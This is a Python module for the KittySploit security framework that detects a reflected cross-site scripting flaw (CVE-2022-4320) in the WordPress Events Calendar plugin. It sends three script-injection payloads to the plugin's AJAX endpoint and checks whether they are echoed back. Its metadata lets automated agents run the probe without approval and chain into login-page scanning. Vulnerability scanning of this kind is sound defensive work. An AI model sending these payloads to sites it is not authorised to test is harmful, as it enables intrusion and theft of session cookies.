WordPress Events Calendar <1.4.5 - Cross-Site Scripting Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Events Calendar plugin before 1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Events Calendar <1.4.5 - Cross-Site Scripting Detection',
        'description': 'WordPress Events Calendar plugin before 1.4.5 contains multiple cross-site scripting vulnerabilities. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against both unauthenticated and authenticated users.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2022', 'calendar', 'event', 'xss', 'wordpress', 'wp', 'wp-plugin', 'wpscan', 'mhsoftware', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/f1244c57-d886-4a6e-8cdb-18404e8c153c',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-4320',
        ],
        'cve': 'CVE-2022-4320',
    }

    def run(self):
        for path in ('/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX"><script>alert(document.cookie)</script>', '/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script>', '/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script>'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
            body_any = ('imgNavLeftXX\\"><script>alert(document.cookie)</script>', '<script>alert(document.cookie)</script>({});', '><script>alert(document.cookie)</script>.js',)
            header_any = ('text/html',)
            if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
                self.set_info(
                    severity='medium',
                    reason="WordPress Events Calendar <1.4.5 - Cross-Site Scripting detected",
                    path=path,
                )
                return True
        return False